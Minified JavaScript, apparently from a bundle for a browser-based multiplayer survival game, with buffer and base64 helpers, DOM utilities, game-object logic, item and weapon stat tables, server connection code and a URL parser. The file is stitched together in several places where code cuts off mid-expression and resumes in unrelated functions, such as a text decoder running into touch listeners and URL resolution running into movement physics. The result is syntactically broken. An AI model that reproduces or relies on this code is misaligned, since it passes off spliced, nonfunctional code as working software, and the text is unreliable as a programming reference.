throw new Error("Invalid string. Length must be a multiple of 4");
var n = e.indexOf("=");
return -1 === n && (n = t),
[n, n === t ? 0 : 4 - n % 4]
}
function h(e) {
return i[e >> 18 & 63] + i[e >> 12 & 63] + i[e >> 6 & 63] + i[63 & e]
}
function u(e, t, n) {
for (var i, r = [], s = t; s < n; s += 3)
i = (e[s] << 16 & 16711680) + (e[s + 1] << 8 & 65280) + (255 & e[s +
2]),
r.push(h(i));
return r.join("")
}
r["-".charCodeAt(0)] = 62,
r["_".charCodeAt(0)] = 63
}
, function(e, t) {
var n = {}.toString;
e.exports = Array.isArray || function(e) {
return "[object Array]" == n.call(e)
}
}
, function(e, t, n) {
var i = n(0);
function r(e) {
return new Array(e)
}
(t = e.exports = r(0)).alloc = r,
t.concat = i.concat,
t.from = function(e) {
if (!i.isBuffer(e) && i.isView(e))
e = i.Uint8Array.from(e);
else if (i.isArrayBuffer(e))
e = new Uint8Array(e);
else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return Array.prototype.slice.call(e)
}
}
, function(e, t, n) {
var i = n(0)
, r = i.global;
function s(e) {
return new r(e)
}
(t = e.exports = i.hasBuffer ? s(0) : []).alloc = i.hasBuffer && r.alloc ||
s,
t.concat = i.concat,
t.from = function(e) {
if (!i.isBuffer(e) && i.isView(e))
e = i.Uint8Array.from(e);
else if (i.isArrayBuffer(e))
e = new Uint8Array(e);
else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return r.from && 1 !== r.from.length ? r.from(e) : new r(e)
}
}
, function(e, t, n) {
var i = n(0);
function r(e) {
return new Uint8Array(e)
}
(t = e.exports = i.hasArrayBuffer ? r(0) : []).alloc = r,
t.concat = i.concat,
t.from = function(e) {
if (i.isView(e)) {
var n = e.byteOffset
, r = e.byteLength;
(e = e.buffer).byteLength !== r && (e.slice ? e = e.slice(n, n +
r) : (e = new Uint8Array(e)).byteLength !== r && (e = Array.prototype.slice.call(e,
n, n + r)))
} else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return new Uint8Array(e)
}
}
, function(e, t) {
t.copy = function(e, t, n, i) {
var r;
n || (n = 0),
i || 0 === i || (i = this.length),
t || (t = 0);
var s = i - n;
if (e === this && n < t && t < i)
for (r = s - 1; r >= 0; r--)
e[r + t] = this[r + n];
else
for (r = 0; r < s; r++)
e[r + t] = this[r + n];
return s
}
,
t.toString = function(e, t, n) {
var i = 0 | t;
n || (n = this.length);
for (var r = "", s = 0; i < n; )
(s = this[i++]) < 128 ? r += String.fromCharCode(s) : (192 == (224 &
s) ? s = (31 & s) << 6 | 63 & this[i++] : 224 == (240 & s) ? s = (15 & s) << 12 |
(63 & this[i++]) << 6 | 63 & this[i++] : 240 == (248 & s) && (s = (7 & s) << 18 |
(63 & this[i++]) << 12 | (63 & this[i++]) << 6 | 63 & this[i++]),
s >= 65536 ?
(s -= 65536,
r = !1)
}
)), !1),
t.addEventListener("touchend", e.exports.checkTrusted(s), !1),
t.addEventListener("touchcancel", e.exports.checkTrusted(s), !1),
t.addEventListener("touchleave", e.exports.checkTrusted(s), !1)
}
,
e.exports.removeAllChildren = function(e) {
for (; e.hasChildNodes(); )
e.removeChild(e.lastChild)
}
,
e.exports.generateElement = function(t) {
var n = document.createElement(t.tag || "div");
function i(e, i) {
t[e] && (n[i] = t[e])
}
for (var r in i("text", "textContent"),
i("html", "innerHTML"),
i("class", "className"),
t) {
switch (r) {
case "tag":
case "text":
case "html":
case "class":
case "style":
case "hookTouch":
case "parent":
case "children":
continue
}
n[r] = t[r]
}
if (n.onclick && (n.onclick = e.exports.checkTrusted(n.onclick)),
n.onmouseover && (n.onmouseover =
e.exports.checkTrusted(n.onmouseover)),
n.onmouseout && (n.onmouseout =
e.exports.checkTrusted(n.onmouseout)),
t.style && (n.style.cssText = t.style),
t.hookTouch && e.exports.hookTouchEvents(n),
t.parent && t.parent.appendChild(n),
t.children)
for (var s = 0; s < t.children.length; s++)
n.appendChild(t.children[s]);
return n
}
,
e.exports.eventIsTrusted = function(e) {
return !e || "boolean" != typeof e.isTrusted || e.isTrusted
}
,
e.exports.checkTrusted = function(t) {
return function(n) {
n && n instanceof Event && e.exports.eventIsTrusted(n) && t(n)
}
}
,
e.exports.randomString = function(e) {
for (var t = "", n =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", i = 0; i < e; i+
+)
t += n.charAt(Math.floor(Math.random() * n.length));
return t
}
,
e.exports.countInArray = function(e, t) {
for (var n = 0, i = 0; i < e.length; i++)
e[i] === t && n++;
return n
}
}
, function (e, t) {
e.exports.AnimText = function () {
this.init = function (e, t, n, i, r, s, a) {
this.x = e, this.y = t, this.color = a, this.scale = n,
this.startScale = this.scale, this.maxScale = 1.5 * n, this.scaleSpeed = .1,
this.speed = .13, this.life = 678, this.text = s,console.log(this.life)
}, this.update = function (e) {
this.life && (this.life -= e, this.y -= this.speed * e,
this.scale += this.scaleSpeed * e, this.scale >= this.maxScale ? (this.scale =
this.maxScale, this.scaleSpeed *= -1) : this.scale <= this.startScale &&
(this.scale = this.startScale, this.scaleSpeed = 0), this.life <= 0 && (this.life =
0))
}, this.render = function (e, t, n) {
e.fillStyle = this.color, e.font = this.scale + "px
Hammersmith One", e.strokeText(this.text, this.x - t, this.y - n),
e.fillText(this.text, this.x - t, this.y - n)
}
}, e.exports.TextManager = function () {
this.texts = [], this.update = function (e, t, n, i) {
t.textBaseline = "middle", t.textAlign = "center";
for (var r = 0; r < this.texts.length; ++r)
this.texts[r].life && (this.texts[r].update(e), this.texts[r].render(t, n, i))
}, this.showText = function (t, n, i, r, s, a, o) {
for (var c, l = 0; l < this.texts.length; ++l)
if (!this.texts[l].life) {
c = this.texts[l];
break
} c || (c = new e.exports.AnimText,
this.texts.push(c)), c.init(t, n, i, r, s, a, o)
}
}
}, function(e, t) {
e.exports = function(e) {
this.sid = e,
this.init = function(e, t, n, i, r, s, a) {
s = s || {},
this.hit = false,
this.sentTo = {},
this.gridLocations = [],
this.active = !0,
this.doUpdate = s.doUpdate,
this.x = e,
this.y = t,
this.dir = n,
this.xWiggle = 0,
this.yWiggle = 0,
this.scale = i,
this.type = r,
this.id = s.id,
this.owner = a,
this.name = s.name,
this.isItem = null != this.id,
this.group = s.group,
this.health = s.health,
this.layer = 2,
null != this.group ? this.layer = this.group.layer : 0 ==
this.type ? this.layer = 3 : 2 == this.type ? this.layer = 0 : 4 == this.type &&
(this.layer = -1),
this.colDiv = s.colDiv || 1,
this.blocker = s.blocker,
this.ignoreCollision = s.ignoreCollision,
this.dontGather = s.dontGather,
this.hideFromEnemy = s.hideFromEnemy,
this.friction = s.friction,
this.projDmg = s.projDmg,
this.dmg = s.dmg,
this.pDmg = s.pDmg,
this.pps = s.pps,
this.zIndex = s.zIndex || 0,
this.turnSpeed = s.turnSpeed,
this.req = s.req,
this.trap = s.trap,
this.healCol = s.healCol,
this.teleport = s.teleport,
this.boostSpeed = s.boostSpeed,
this.projectile = s.projectile,
this.shootRange = s.shootRange,
this.shootRate = s.shootRate,
this.shootCount = this.shootRate,
this.spawnPoint = s.spawnPoint
}
,
this.changeHealth = function(e, t) {
return this.health += e,
this.health <= 0
}
,
this.getScale = function(e, t) {
return e = e || 1,
this.scale * (this.isItem || 2 == this.type || 3 == this.type ||
4 == this.type ? 1 : .6 * e) * (t ? 1 : this.colDiv)
}
,
this.visibleToPlayer = function(e) {
return !this.hideFromEnemy || this.owner && (this.owner == e ||
this.owner.team && e.team == this.owner.team)
}
,
this.update = function(e) {
this.active && (this.xWiggle && (this.xWiggle *= Math.pow(.99, e)),
this.yWiggle && (this.yWiggle *= Math.pow(.99, e)),
this.turnSpeed && (this.dir += this.turnSpeed * e))
}
}
}
, function(e, t) {
e.exports.groups = [{
id: 0,
name: "food",
layer: 0
}, {
id: 1,
name: "walls",
place: !0,
limit: 30,
layer: 0
}, {
id: 2,
name: "spikes",
place: !0,
limit: 15,
layer: 0
}, {
id: 3,
name: "mill",
place: !0,
limit: 7,
layer: 1
}, {
id: 4,
name: "mine",
place: !0,
limit: 1,
layer: 0
}, {
id: 5,
name: "trap",
place: !0,
limit: 6,
layer: -1
}, {
id: 6,
name: "booster",
place: !0,
limit: 12,
layer: -1
}, {
id: 7,
name: "turret",
place: !0,
limit: 2,
layer: 1
}, {
id: 8,
name: "watchtower",
place: !0,
limit: 12,
layer: 1
}, {
id: 9,
name: "buff",
place: !0,
limit: 4,
layer: -1
}, {
id: 10,
name: "spawn",
place: !0,
limit: 1,
layer: -1
}, {
id: 11,
name: "sapling",
place: !0,
limit: 2,
layer: 0
}, {
id: 12,
name: "blocker",
place: !0,
limit: 3,
layer: -1
}, {
id: 13,
name: "teleporter",
place: !0,
limit: 2,
layer: -1
}],
t.projectiles = [{
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 25,
speed: 1.6,
scale: 103,
range: 1e3
}, {
indx: 1,
layer: 1,
dmg: 25,
scale: 20
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 35,
speed: 2.5,
scale: 103,
range: 1200
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 30,
speed: 2,
scale: 103,
range: 1200
}, {
indx: 1,
layer: 1,
dmg: 16,
scale: 20
}, {
indx: 0,
layer: 0,
src: "bullet_1",
dmg: 50,
speed: 3.6,
scale: 160,
range: 1400
}],
t.weapons = [{
id: 0,
type: 0,
name: "tool hammer",
desc: "tool for gathering all resources",
src: "hammer_1",
length: 140,
width: 140,
xOff: -3,
yOff: 18,
dmg: 25,
range: 65,
gather: 1,
speed: 300
}, {
id: 1,
type: 0,
age: 2,
name: "hand axe",
desc: "gathers resources at a higher rate",
src: "axe_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 30,
spdMult: 1,
range: 70,
gather: 2,
speed: 400
}, {
id: 2,
type: 0,
age: 8,
pre: 1,
name: "great axe",
desc: "deal more damage and gather more resources",
src: "great_axe_1",
length: 140,
width: 140,
xOff: -8,
yOff: 25,
dmg: 35,
spdMult: 1,
range: 75,
gather: 4,
speed: 400
}, {
id: 3,
type: 0,
age: 2,
name: "short sword",
desc: "increased attack power but slower move speed",
src: "sword_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 46,
dmg: 35,
spdMult: .85,
range: 110,
gather: 1,
speed: 300
}, {
id: 4,
type: 0,
age: 8,
pre: 3,
name: "katana",
desc: "greater range and damage",
src: "samurai_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 59,
dmg: 40,
spdMult: .8,
range: 118,
gather: 1,
speed: 300
}, {
id: 5,
type: 0,
age: 2,
name: "polearm",
desc: "long range melee weapon",
src: "spear_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 45,
knock: .2,
spdMult: .82,
range: 142,
gather: 1,
speed: 700
}, {
id: 6,
type: 0,
age: 2,
name: "bat",
desc: "fast long range melee weapon",
src: "bat_1",
iPad: 1.3,
length: 110,
width: 180,
xOff: -8,
yOff: 53,
dmg: 20,
knock: .7,
range: 110,
gather: 1,
speed: 300
}, {
id: 7,
type: 0,
age: 2,
name: "daggers",
desc: "really fast short range weapon",
src: "dagger_1",
iPad: .8,
length: 110,
width: 110,
xOff: 18,
yOff: 0,
dmg: 20,
knock: .1,
range: 65,
gather: 1,
hitSlow: .1,
spdMult: 1.13,
speed: 100
}, {
id: 8,
type: 0,
age: 2,
name: "stick",
desc: "great for gathering but very weak",
src: "stick_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 1,
spdMult: 1,
range: 70,
gather: 7,
speed: 400
}, {
id: 9,
type: 1,
age: 6,
name: "hunting bow",
desc: "bow used for ranged combat and hunting",
src: "bow_1",
req: ["wood", 4],
length: 120,
width: 120,
xOff: -6,
yOff: 0,
projectile: 0,
spdMult: .75,
speed: 600
}, {
id: 10,
type: 1,
age: 6,
name: "great hammer",
desc: "hammer used for destroying structures",
src: "great_hammer_1",
length: 140,
width: 140,
xOff: -9,
yOff: 25,
dmg: 10,
spdMult: .88,
range: 75,
sDmg: 7.5,
gather: 1,
speed: 400
}, {
id: 11,
type: 1,
age: 6,
name: "wooden shield",
desc: "blocks projectiles and reduces melee damage",
src: "shield_1",
length: 120,
width: 120,
shield: .2,
xOff: 6,
yOff: 0,
spdMult: .7
}, {
id: 12,
type: 1,
age: 8,
pre: 9,
name: "crossbow",
desc: "deals more damage and has greater range",
src: "crossbow_1",
req: ["wood", 5],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 2,
spdMult: .7,
speed: 700
}, {
id: 13,
type: 1,
age: 9,
pre: 12,
name: "repeater crossbow",
desc: "high firerate crossbow with reduced damage",
src: "crossbow_2",
req: ["wood", 10],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 3,
spdMult: .7,
speed: 230
}, {
id: 14,
type: 1,
age: 6,
name: "mc grabby",
desc: "steals resources from enemies",
src: "grab_1",
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 0,
steal: 250,
knock: .2,
spdMult: 1.05,
range: 125,
gather: 0,
speed: 700
}, {
id: 15,
type: 1,
age: 9,
pre: 12,
name: "musket",
desc: "slow firerate but high damage and range",
src: "musket_1",
req: ["stone", 10],
aboveHand: !0,
rec: .35,
armS: .6,
hndS: .3,
hndD: 1.6,
length: 205,
width: 205,
xOff: 25,
yOff: 0,
projectile: 5,
hideProjectile: !0,
spdMult: .6,
speed: 1500
}],
e.exports.list = [{
group: e.exports.groups[0],
name: "apple",
desc: "restores 20 health when consumed",
req: ["food", 10],
consume: function(e) {
return e.changeHealth(20, e)
},
scale: 30,
holdOffset: 15
}, {
age: 3,
group: e.exports.groups[0],
name: "cookie",
desc: "restores 40 health when consumed",
req: ["food", 15],
consume: function(e) {
return e.changeHealth(40, e)
},
scale: 27,
holdOffset: 15
}, {
age: 7,
group: e.exports.groups[0],
name: "cheese",
desc: "restores 30 health and another 50 over 5 seconds",
req: ["food", 25],
consume: function(e) {
return !!(e.changeHealth(30, e) || e.health < 100) &&
(e.dmgOverTime.dmg = -10,
e.dmgOverTime.doer = e,
e.dmgOverTime.time = 5,
!0)
},
scale: 27,
holdOffset: 15
}, {
group: e.exports.groups[1],
name: "wood wall",
desc: "provides protection for your village",
req: ["wood", 10],
projDmg: !0,
health: 380,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 3,
group: e.exports.groups[1],
name: "stone wall",
desc: "provides improved protection for your village",
req: ["stone", 25],
health: 900,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
pre: 1,
group: e.exports.groups[1],
name: "castle wall",
desc: "provides powerful protection for your village",
req: ["stone", 35],
health: 1500,
scale: 52,
holdOffset: 20,
placeOffset: -5
}, {
group: e.exports.groups[2],
name: "spikes",
desc: "damages enemies when they touch them",
req: ["wood", 20, "stone", 5],
health: 400,
dmg: 20,
scale: 49,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 5,
group: e.exports.groups[2],
name: "greater spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 10],
health: 500,
dmg: 35,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
pre: 1,
group: e.exports.groups[2],
name: "poison spikes",
desc: "poisons enemies when they touch them",
req: ["wood", 35, "stone", 15],
health: 600,
dmg: 30,
pDmg: 5,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
pre: 2,
group: e.exports.groups[2],
name: "spinning spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 20],
health: 500,
dmg: 45,
turnSpeed: .003,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
group: e.exports.groups[3],
name: "windmill",
desc: "generates gold over time",
req: ["wood", 50, "stone", 10],
health: 400,
pps: 1,
turnSpeed: .0016,
spritePadding: 25,
iconLineMult: 12,
scale: 45,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
pre: 1,
group: e.exports.groups[3],
name: "faster windmill",
desc: "generates more gold over time",
req: ["wood", 60, "stone", 20],
health: 500,
pps: 1.5,
turnSpeed: .0025,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 8,
pre: 1,
group: e.exports.groups[3],
name: "power mill",
desc: "generates more gold over time",
req: ["wood", 100, "stone", 50],
health: 800,
pps: 2,
turnSpeed: .005,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
group: e.exports.groups[4],
type: 2,
name: "mine",
desc: "allows you to mine stone",
req: ["wood", 20, "stone", 100],
iconLineMult: 12,
scale: 65,
holdOffset: 20,
placeOffset: 0
}, {
age: 5,
group: e.exports.groups[11],
type: 0,
name: "sapling",
desc: "allows you to farm wood",
req: ["wood", 150],
iconLineMult: 12,
colDiv: .5,
scale: 110,
holdOffset: 50,
placeOffset: -15
}, {
age: 4,
group: e.exports.groups[5],
name: "pit trap",
desc: "pit that traps enemies if they walk over it",
req: ["wood", 30, "stone", 30],
trap: !0,
ignoreCollision: !0,
hideFromEnemy: !0,
health: 500,
colDiv: .2,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 4,
group: e.exports.groups[6],
name: "boost pad",
desc: "provides boost when stepped on",
req: ["stone", 20, "wood", 5],
ignoreCollision: !0,
boostSpeed: 1.5,
health: 150,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[7],
doUpdate: !0,
name: "turret",
desc: "defensive structure that shoots at enemies",
req: ["wood", 200, "stone", 150],
health: 800,
projectile: 1,
shootRange: 700,
shootRate: 2200,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[8],
name: "platform",
desc: "platform to shoot over walls and cross over water",
req: ["wood", 20],
ignoreCollision: !0,
zIndex: 1,
health: 300,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[9],
name: "healing pad",
desc: "standing on it will slowly heal you",
req: ["wood", 30, "food", 10],
ignoreCollision: !0,
healCol: 15,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 9,
group: e.exports.groups[10],
name: "spawn pad",
desc: "you will spawn here when you die but it will dissapear",
req: ["wood", 100, "stone", 100],
health: 400,
ignoreCollision: !0,
spawnPoint: !0,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[12],
name: "blocker",
desc: "blocks building in radius",
req: ["wood", 30, "stone", 25],
ignoreCollision: !0,
blocker: 300,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[13],
name: "teleporter",
desc: "teleports you to a random point on the map",
req: ["wood", 60, "stone", 60],
ignoreCollision: !0,
teleport: !0,
health: 200,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}];
for (var n = 0; n < e.exports.list.length; ++n)
e.exports.list[n].id = n,
e.exports.list[n].pre && (e.exports.list[n].pre = n -
e.exports.list[n].pre)
}
, function(e, t) {
e.exports = {}
}
, function(e, t) {
var n = Math.floor
, i = Math.abs
, r = Math.cos
, s = Math.sin
, a = (Math.pow,
Math.sqrt);
e.exports = function(e, t, o, c, l, h) {
var u, f;
this.objects = t,
this.grids = {},
this.updateObjects = [];
var d = c.mapScale / c.colGrid;
this.setObjectGrids = function(e) {
for (var t = Math.min(c.mapScale, Math.max(0, e.x)), n =
Math.min(c.mapScale, Math.max(0, e.y)), i = 0; i < c.colGrid; ++i) {
u = i * d;
for (var r = 0; r < c.colGrid; ++r)
f = r * d,
t + e.scale >= u && t - e.scale <= u + d && n + e.scale
>= f && n - e.scale <= f + d && (this.grids[i + "_" + r] || (this.grids[i + "_" +
r] = []),
this.XP = 0,
t.dmgOverTime.time = this.skin.poisonTime || 1,
t.dmgOverTime.doer = this),
!t.dmgOverTime || !o || t.skin && t.skin.poisonRes ||
(t.dmgOverTime.dmg = 5,
t.dmgOverTime.time = 5,
t.dmgOverTime.doer = this),
t.skin && t.skin.dmgK && (this.xVel -= t.skin.dmgK *
s(e),
this.yVel -= t.skin.dmgK *
a(e)),
t.changeHealth(-x * b, this, this)
}
this.sendAnimation(i ? 1 : 0)
}
,
this.sendAnimation = function(e) {
for (var t = 0; t < f.length; ++t)
this.sentTo[f[t].id] && this.canSee(f[t]) && y.send(f[t].id,
"7", this.sid, e ? 1 : 0, this.weaponIndex)
}
;
var x = 0
, S = 0;
this.animate = function(e) {
this.animTime > 0 && (this.animTime -= e,
this.animTime <= 0 ? (this.animTime = 0,
this.dirPlus = 0,
x = 0,
S = 0) : 0 == S ? (x +=
e / (this.animSpeed * n.hitReturnRatio),
this.range = 0,
this.active = !1)),
a) {
for (var f = 0; f < e.length; ++f)
!this.sentTo[e[f].id] && e[f].canSee(this) &&
(this.sentTo[e[f].id] = 1,
));
if (t && a.reverse(),
0 != a.length) {
var o = Math.min(s, a.length)
, c = Math.floor(Math.random() * o)
, l = a[c = Math.min(c, a.length - 1)]
, h = l.region
, u = (c = Math.floor(l.index / l.gameCount),
l.index % l.gameCount);
return this.log("Found server."),
[h, c, u]
}
this.errorCallback("No open servers.")
}
,
s.prototype.connect = function(e, t, n) {
if (!this.connected) {
var i = this.findServer(e, t);
null != i ? (this.log("Connecting to server", i, "with game index",
n),
i.games[n].playerCount >= this.lobbySize ?
this.errorCallback("Server is already full.") :
(window.history.replaceState(document.title, document.title, this.generateHref(e,
t, n, this.password)),
this.server = i,
this.gameIndex = n,
this.query = {}),
this
}
var b = a.exec(v);
if (b) {
var x = (b = b[0]).toLowerCase();
this.protocol = x,
v = v.substr(b.length)
}
if (n || b || v.match(/^\/\/[^@\/]+@[^@\/]+/)) {
var S = "//" === v.substr(0, 2);
!S || b && m[b] || (v = v.substr(2),
this.slashes = !0)
}
if (!m[b] && (S || b && !y[b])) {
for (var T, I, E = -1, M = 0; M < f.length; M++)
-1 !== (A = v.indexOf(f[M])) && (-1 === E || A < E) && (E = A);
for (-1 !== (I = -1 === E ? v.lastIndexOf("@") : v.lastIndexOf("@",
E)) && (T = v.slice(0, I),
v = v.slice(I + 1),
this.auth = decodeURIComponent(T)),
E = -1,
M = 0; M < u.length; M++) {
var A;
-1 !== (A = v.indexOf(u[M])) && (-1 === E || A < E) && (E = A)
}
-1 === E && (E = v.length),
this.host = v.slice(0, E),
v = v.slice(E),
this.parseHost(),
this.hostname = this.hostname || "";
var P = "[" === this.hostname[0] && "]" ===
this.hostname[this.hostname.length - 1];
if (!P)
for (var B = this.hostname.split(/\./), C = (M = 0,
B.length); M < C;
M++) {
var O = B[M];
if (O && !O.match(d)) {
for (var R = "", j = 0, _ = O.length; j < _; j++)
O.charCodeAt(j) > 127 ? R += "x" : R += O[j];
if (!R.match(d)) {
var U = B.slice(0, M)
, D = B.slice(M + 1)
, L = O.match(p);
L && (U.push(L[1]),
D.unshift(L[2])),
D.length && (v = "/" + D.join(".") + v),
this.hostname = U.join(".");
break
}
}
}
this.hostname.length > 255 ? this.hostname = "" : this.hostname =
this.hostname.toLowerCase(),
P || (this.hostname = i.toASCII(this.hostname));
var F = this.port ? ":" + this.port : ""
, z = this.hostname || "";
this.host = z + F,
this.href += this.host,
P && (this.hostname = this.hostname.substr(1,
this.hostname.length - 2),
"/" !== v[0] && (v = "/" + v))
}
if (!g[x])
for (M = 0,
C = h.length; M < C; M++) {
var H = h[M];
if (-1 !== v.indexOf(H)) {
var V = encodeURIComponent(H);
V === H && (V = escape(H)),
v = v.split(H).join(V)
}
}
var q = v.indexOf("#");
-1 !== q && (this.hash = v.substr(q),
v = v.slice(0, q));
var Y = v.indexOf("?");
if (-1 !== Y ? (this.search = v.substr(Y),
this.query = v.substr(Y + 1),
t && (this.query = k.parse(this.query)),
v = v.slice(0, Y)) : t && (this.search = "",
this.query = {}),
v && (this.pathname = v),
y[x] && this.hostname && !this.pathname && (this.pathname = "/"),
this.pathname || this.search) {
F = this.pathname || "";
var W = this.search || "";
this.path = F + W
}
return this.href = this.format(),
this
}
,
s.prototype.format = function() {
var e = this.auth || "";
e && (e = (e = encodeURIComponent(e)).replace(/%3A/i, ":"),
e += "@");
var t = this.protocol || ""
, n = this.pathname || ""
, i = this.hash || ""
, s = !1
, a = "";
this.host ? s = e + this.host : this.hostname && (s = e + (-1 ===
this.hostname.indexOf(":") ? this.hostname : "[" + this.hostname + "]"),
this.port && (s += ":"
+ this.port)),
this.query && r.isObject(this.query) &&
Object.keys(this.query).length && (a = k.stringify(this.query));
var o = this.search || a && "?" + a || "";
return t && ":" !== t.substr(-1) && (t += ":"),
this.slashes || (!t || y[t]) && !1 !== s ? (s = "//" + (s || ""),
n && "/" !== n.charAt(0)
&& (n = "/" + n)) : s || (s = ""),
i && "#" !== i.charAt(0) && (i = "#" + i),
o && "?" !== o.charAt(0) && (o = "?" + o),
t + s + (n = n.replace(/[?#]/g, (function(e) {
return encodeURIComponent(e)
}
))) + (o = o.replace("#", "%23")) +
i
}
,
s.prototype.resolve = function(e) {
return this.resolveObject(v(e, !1, !0)).format()
}
,
s.prototype.resolveObject = function(e) {
if (r.isString(e)) {
var t = new s;
t.parse(e, !1, !0),
e = t
}
for (var n = new s, i = Object.keys(this), a = 0; a < i.length; a++) {
var o = i[a];
n[o] = this[o]
}
if (n.hash = e.hash,
"" === e.href)
return n.href = n.format(),
n;
if (e.slashes && !e.protocol) {
for (var c = Object.keys(e), l = 0; l < c.length; l++) {
var h = c[l];
"protocol" !== h && (n[h] = e[h])
}
return y[n.protocol] && n.hostname && !n.pathname && (n.path =
n.pathname = "/"),
n.href = n.format(),
n
}
if (e.protocol && e.protocol !== n.protocol) {
if (!y[e.protocol]) {
for (var u = Object.keys(e), f = 0; f < u.length; f++) {
var d = u[f];
n[d] = e[d]
}
return n.href = n.format(),
n
}
if (n.protocol = e.protocol,
e.host || m[e.protocol])
n.pathname = e.pathname;
else {
for (var p = (e.pathname || "").split("/"); p.length && !(e.host
= p.shift()); )
;
e.host || (e.host = ""),
e.hostname || (e.hostname = ""),
"" !== p[0] && p.unshift(""),
p.length < 2 && p.unshift(""),
n.pathname = p.join("/")
}
if (n.search = e.search,
n.query = e.query,
n.host = e.host || "",
n.auth = e.auth,
n.hostname = e.hostname || e.host,
n.port = e.port,
n.pathname || n.search) {
var g = n.pathname || ""
, k = n.search || "";
n.path = g + k
}
return n.slashes = n.slashes || e.slashes,
n.href = n.format(),
n
}
var v = n.pathname && "/" === n.pathname.charAt(0)
, w = e.host || e.pathname && "/" === e.pathname.charAt(0)
, b = w || v || n.host && e.pathname
, x = b
, S = n.pathname && n.pathname.split("/") || []
, T = (p = e.pathname && e.pathname.split("/") || [],
n.protocol && !y[n.protocol]);
if (T && (n.hostname = "",
n.port = null,
n.host && ("" === S[0] ? S[0] = n.host : S.unshift(n.host)),
n.host = "",
e.protocol && (e.hostname = null,
e.port = null,
e.host && ("" === p[0] ? p[0] = e.host :
p.unshift(e.host)),
e.host = null),
b = b && ("" === p[0] || "" === S[0])),
w)
n.host = e.host || "" === e.host ? e.host : n.host,
n.hostname = e.hostname || "" === e.hostname ? e.hostname :
n.hostname,
n.search = e.search,
n.query = e.query,
S = p;
else if (p.length)
S || (S = []),
S.pop(),
S = S.concat(p),
n.search = e.search,
n.query = e.query;
else if (!r.isNullOrUndefined(e.search))
return T && (n.hostname = n.host = S.shift(),
(P = !!(n.host && n.host.indexOf("@") > 0) &&
n.host.split("@")) && (n.auth = P.shift(),
n.host = n.hostname = P.shift())),
n.search = e.search,
n.query = e.query,
r.isNull(n.pathname) && r.isNull(n.search) || (n.path =
(n.pathname ? n.pathname : "") + (n.search ? n.search : "")),
n.href = n.format(),
n;
if (!S.length)
return n.pathname = null,
n.search ? n.path = "/" + n.search : n.path = null,
n.href = n.format(),
n;
for (var I = S.slice(-1)[0], E = (n.host || e.host || S.length > 1) &&
("." === I || ".." === I) || "" === I, M = 0, A = S.length; A >= 0; A--)
"." === (I = S[A]) ? S.splice(A, 1) : ".." === I ? (S.splice(A, 1),
M++) : M &&
(S.splice(A, 1),
M--);
if (!b && !x)
for (; M--; M)
S.unshift("..");
!b || "" === S[0] || S[0] && "/" === S[0].charAt(0) || S.unshift(""),
E && "/" !== S.join("/").substr(-1) && S.push("");
var P, B = "" === S[0] || S[0] && "/" === S[0].charAt(0);
return T && (n.hostname = n.host = B ? "" : S.length ? S.shift() : "",
(P = !!(n.host && n.host.indexOf("@") > 0) &&
n.host.split("@")) && (n.auth = P.shift(),
S.xVel += .6 * Math.cos(I),
S.yVel += .6 * Math.sin(I),
this.runFrom = null,
this.chargeTarget = null,
this.waitCount = 3e3,
this.xVel = 0),
this.y - P < 0 ? (this.y = P,
this.yVel = 0) : this.y + P > a.mapScale
&& (this.y = a.mapScale - P,
this.yVel = 0)
}
}
,
this.canSee = function(e) {
if (!e)
return !1;
if (e.skin && e.skin.invisTimer && e.noMovTimer >=
e.skin.invisTimer)
return !1;
var t = Math.abs(e.x - this.x) - e.scale
, n = Math.abs(e.y - this.y) - e.scale;
return t <= a.maxScreenWidth / 2 * 1.3 && n <= a.maxScreenHeight / 2
* 1.3
}
;
var h = 0
, u = 0;
this.animate = function(e) {
this.animTime > 0 && (this.animTime -= e,
this.animTime <= 0 ? (this.animTime = 0,
this.dirPlus = 0,
